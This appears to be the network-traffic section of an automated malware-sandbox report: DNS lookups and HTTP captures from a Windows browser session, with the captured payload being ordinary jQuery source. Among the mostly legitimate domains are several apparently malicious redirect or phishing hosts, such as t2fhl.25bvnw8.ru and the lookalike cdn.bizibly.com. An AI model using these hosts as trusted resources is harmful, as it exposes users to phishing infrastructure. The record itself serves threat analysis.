Jul 12, 2024 07:27:17.042215109 CEST	192.168.2.5	1.1.1.1	0x3c7e	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:17.688407898 CEST	192.168.2.5	1.1.1.1	0xb148	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:17.688409090 CEST	192.168.2.5	1.1.1.1	0x3c6d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:17.689842939 CEST	192.168.2.5	1.1.1.1	0xb1c1	Standard query (0)	newburymadison.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:17.689985037 CEST	192.168.2.5	1.1.1.1	0xa428	Standard query (0)	newburymadison.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:18.589807034 CEST	192.168.2.5	1.1.1.1	0x471a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:18.589911938 CEST	192.168.2.5	1.1.1.1	0x7982	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:18.601897955 CEST	192.168.2.5	1.1.1.1	0x2694	Standard query (0)	href.li	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:18.602032900 CEST	192.168.2.5	1.1.1.1	0xe1ec	Standard query (0)	href.li	65	IN (0x0001)	false
Jul 12, 2024 07:27:19.278600931 CEST	192.168.2.5	1.1.1.1	0xbc48	Standard query (0)	78tnc.seren1.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:19.279280901 CEST	192.168.2.5	1.1.1.1	0x3312	Standard query (0)	78tnc.seren1.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:20.520838022 CEST	192.168.2.5	1.1.1.1	0x32bc	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:20.523066044 CEST	192.168.2.5	1.1.1.1	0xd64c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:20.523704052 CEST	192.168.2.5	1.1.1.1	0xec26	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:20.524149895 CEST	192.168.2.5	1.1.1.1	0x3e8e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:20.524584055 CEST	192.168.2.5	1.1.1.1	0x28f	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:20.525055885 CEST	192.168.2.5	1.1.1.1	0xfca7	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:20.669575930 CEST	192.168.2.5	1.1.1.1	0x20f5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:20.669689894 CEST	192.168.2.5	1.1.1.1	0x8a63	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:21.983983994 CEST	192.168.2.5	1.1.1.1	0xb485	Standard query (0)	t2fhl.25bvnw8.ru	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:21.985106945 CEST	192.168.2.5	1.1.1.1	0xcac6	Standard query (0)	t2fhl.25bvnw8.ru	65	IN (0x0001)	false
Jul 12, 2024 07:27:22.015525103 CEST	192.168.2.5	1.1.1.1	0xeb92	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:22.015816927 CEST	192.168.2.5	1.1.1.1	0x232f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:22.120187044 CEST	192.168.2.5	1.1.1.1	0x338c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:22.120858908 CEST	192.168.2.5	1.1.1.1	0x48e7	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:24.424299955 CEST	192.168.2.5	1.1.1.1	0x5083	Standard query (0)	www.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:24.424755096 CEST	192.168.2.5	1.1.1.1	0x56f1	Standard query (0)	www.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:24.830312014 CEST	192.168.2.5	1.1.1.1	0x6371	Standard query (0)	t2fhl.25bvnw8.ru	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:24.830442905 CEST	192.168.2.5	1.1.1.1	0x1c77	Standard query (0)	t2fhl.25bvnw8.ru	65	IN (0x0001)	false
Jul 12, 2024 07:27:25.421751976 CEST	192.168.2.5	1.1.1.1	0xadca	Standard query (0)	cdn.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:25.421935081 CEST	192.168.2.5	1.1.1.1	0x67df	Standard query (0)	cdn.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:25.515546083 CEST	192.168.2.5	1.1.1.1	0x7a26	Standard query (0)	gtm.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:25.522311926 CEST	192.168.2.5	1.1.1.1	0x470d	Standard query (0)	gtm.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:26.157217979 CEST	192.168.2.5	1.1.1.1	0x3d17	Standard query (0)	cdn.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:26.157444000 CEST	192.168.2.5	1.1.1.1	0xcffa	Standard query (0)	cdn.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:26.716095924 CEST	192.168.2.5	1.1.1.1	0x592d	Standard query (0)	fast.wistia.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:26.716286898 CEST	192.168.2.5	1.1.1.1	0x8e6f	Standard query (0)	fast.wistia.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:27.313714981 CEST	192.168.2.5	1.1.1.1	0xe84	Standard query (0)	fast.wistia.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:27.313910961 CEST	192.168.2.5	1.1.1.1	0x1861	Standard query (0)	fast.wistia.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:28.902693987 CEST	192.168.2.5	1.1.1.1	0x121b	Standard query (0)	play.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:28.902951002 CEST	192.168.2.5	1.1.1.1	0x9964	Standard query (0)	play.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:32.295469999 CEST	192.168.2.5	1.1.1.1	0xc836	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:32.295469999 CEST	192.168.2.5	1.1.1.1	0xb8b7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:32.553875923 CEST	192.168.2.5	1.1.1.1	0x742c	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:32.554074049 CEST	192.168.2.5	1.1.1.1	0xc4d0	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:32.560642958 CEST	192.168.2.5	1.1.1.1	0x8b58	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:32.561083078 CEST	192.168.2.5	1.1.1.1	0x4224	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jul 12, 2024 07:27:33.932379961 CEST	192.168.2.5	1.1.1.1	0xab28	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:33.932976007 CEST	192.168.2.5	1.1.1.1	0x87ae	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Jul 12, 2024 07:27:33.937313080 CEST	192.168.2.5	1.1.1.1	0x6c9c	Standard query (0)	play.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:33.937463999 CEST	192.168.2.5	1.1.1.1	0xd2d7	Standard query (0)	play.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:36.859011889 CEST	192.168.2.5	1.1.1.1	0x1d73	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:36.859359026 CEST	192.168.2.5	1.1.1.1	0xd415	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:39.815367937 CEST	192.168.2.5	1.1.1.1	0x7e6a	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:39.815433025 CEST	192.168.2.5	1.1.1.1	0x3552	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:39.815916061 CEST	192.168.2.5	1.1.1.1	0xee05	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:39.816046953 CEST	192.168.2.5	1.1.1.1	0x1f00	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jul 12, 2024 07:27:39.917061090 CEST	192.168.2.5	1.1.1.1	0xf639	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:39.917393923 CEST	192.168.2.5	1.1.1.1	0x3ec5	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:41.858386993 CEST	192.168.2.5	1.1.1.1	0x3d6d	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:41.858387947 CEST	192.168.2.5	1.1.1.1	0x53c7	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:47.865503073 CEST	192.168.2.5	1.1.1.1	0x5e28	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:47.866022110 CEST	192.168.2.5	1.1.1.1	0x3865	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:47.870832920 CEST	192.168.2.5	1.1.1.1	0x9209	Standard query (0)	cdn.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:47.871217012 CEST	192.168.2.5	1.1.1.1	0x8f42	Standard query (0)	cdn.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:51.518168926 CEST	192.168.2.5	1.1.1.1	0x5415	Standard query (0)	play.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:51.518284082 CEST	192.168.2.5	1.1.1.1	0x7b57	Standard query (0)	play.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:52.263781071 CEST	192.168.2.5	1.1.1.1	0x19f	Standard query (0)	assets.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:52.263936996 CEST	192.168.2.5	1.1.1.1	0xa75d	Standard query (0)	assets.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:52.264616013 CEST	192.168.2.5	1.1.1.1	0x59d9	Standard query (0)	cdn.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:52.264756918 CEST	192.168.2.5	1.1.1.1	0xf006	Standard query (0)	cdn.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:52.573205948 CEST	192.168.2.5	1.1.1.1	0x6861	Standard query (0)	cdn.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:52.573206902 CEST	192.168.2.5	1.1.1.1	0x3ed3	Standard query (0)	cdn.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:59.270283937 CEST	192.168.2.5	1.1.1.1	0xdb77	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:59.270576954 CEST	192.168.2.5	1.1.1.1	0x556b	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:59.271641016 CEST	192.168.2.5	1.1.1.1	0x5bb9	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:59.271763086 CEST	192.168.2.5	1.1.1.1	0xaa64	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Jul 12, 2024 07:27:59.272851944 CEST	192.168.2.5	1.1.1.1	0xca88	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:59.273020983 CEST	192.168.2.5	1.1.1.1	0xc9b3	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Jul 12, 2024 07:28:01.470561981 CEST	192.168.2.5	1.1.1.1	0xf70b	Standard query (0)	assets.vidyard.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:01.470824003 CEST	192.168.2.5	1.1.1.1	0x41e6	Standard query (0)	assets.vidyard.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:02.366405964 CEST	192.168.2.5	1.1.1.1	0x9783	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:02.367257118 CEST	192.168.2.5	1.1.1.1	0x78fe	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:04.954557896 CEST	192.168.2.5	1.1.1.1	0x242	Standard query (0)	gtm.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:04.954796076 CEST	192.168.2.5	1.1.1.1	0x324e	Standard query (0)	gtm.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:05.425467968 CEST	192.168.2.5	1.1.1.1	0x323d	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:05.425467968 CEST	192.168.2.5	1.1.1.1	0x7e87	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Jul 12, 2024 07:28:06.359575987 CEST	192.168.2.5	1.1.1.1	0x1358	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:06.359837055 CEST	192.168.2.5	1.1.1.1	0xeca5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:06.370009899 CEST	192.168.2.5	1.1.1.1	0x315f	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:06.370161057 CEST	192.168.2.5	1.1.1.1	0x3f78	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:15.611610889 CEST	192.168.2.5	1.1.1.1	0x8121	Standard query (0)	monorail-edge.shopifysvc.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:15.612056971 CEST	192.168.2.5	1.1.1.1	0xab3b	Standard query (0)	monorail-edge.shopifysvc.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:15.620472908 CEST	192.168.2.5	1.1.1.1	0x36d9	Standard query (0)	tags.tiqcdn.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:15.620621920 CEST	192.168.2.5	1.1.1.1	0x3d30	Standard query (0)	tags.tiqcdn.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:22.326011896 CEST	192.168.2.5	1.1.1.1	0xc151	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:22.326683998 CEST	192.168.2.5	1.1.1.1	0xa87f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:22.327044964 CEST	192.168.2.5	1.1.1.1	0xf049	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:22.327191114 CEST	192.168.2.5	1.1.1.1	0xf06b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:29.868580103 CEST	192.168.2.5	1.1.1.1	0xe89c	Standard query (0)	www.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:29.868973970 CEST	192.168.2.5	1.1.1.1	0xc366	Standard query (0)	www.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:31.224883080 CEST	192.168.2.5	1.1.1.1	0x472e	Standard query (0)	themes.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:31.224883080 CEST	192.168.2.5	1.1.1.1	0xd01d	Standard query (0)	themes.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:38.114981890 CEST	192.168.2.5	1.1.1.1	0xb03b	Standard query (0)	sessions.bugsnag.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:38.115196943 CEST	192.168.2.5	1.1.1.1	0x29ed	Standard query (0)	sessions.bugsnag.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:38.179389954 CEST	192.168.2.5	1.1.1.1	0x6d44	Standard query (0)	themes.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:38.179549932 CEST	192.168.2.5	1.1.1.1	0x2cb9	Standard query (0)	themes.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:38.404961109 CEST	192.168.2.5	1.1.1.1	0x7813	Standard query (0)	gtm.shopify.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:38.405117989 CEST	192.168.2.5	1.1.1.1	0xea5f	Standard query (0)	gtm.shopify.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:45.437665939 CEST	192.168.2.5	1.1.1.1	0xbffa	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:45.438003063 CEST	192.168.2.5	1.1.1.1	0x32de	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jul 12, 2024 07:28:46.228954077 CEST	192.168.2.5	1.1.1.1	0x69f7	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:46.228954077 CEST	192.168.2.5	1.1.1.1	0x5497	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Jul 12, 2024 07:28:47.158122063 CEST	192.168.2.5	1.1.1.1	0xbf6c	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:47.158252954 CEST	192.168.2.5	1.1.1.1	0xc532	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jul 12, 2024 07:28:47.170298100 CEST	192.168.2.5	1.1.1.1	0x8f73	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:47.170428991 CEST	192.168.2.5	1.1.1.1	0x23bd	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:48.141746044 CEST	192.168.2.5	1.1.1.1	0xe50c	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:48.141746044 CEST	192.168.2.5	1.1.1.1	0x58b	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Jul 12, 2024 07:28:49.598231077 CEST	192.168.2.5	1.1.1.1	0x94ce	Standard query (0)	monorail-edge.shopifysvc.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:28:49.598392963 CEST	192.168.2.5	1.1.1.1	0x7dd7	Standard query (0)	monorail-edge.shopifysvc.com	65	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-07-12 05:27:16 UTC	498	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-12 05:27:16 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2036083 Date: Fri, 12 Jul 2024 05:27:16 GMT X-Served-By: cache-lga21947-LGA, cache-nyc-kteb1890058-NYC X-Cache: HIT, HIT X-Cache-Hits: 2505, 0 X-Timer: S1720762037.777305,VS0,VE1 Vary: Accept-Encoding
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\\("+K+"((?:-\\d)?\\d)"+K+"\\)\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-07-12 05:27:16 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return 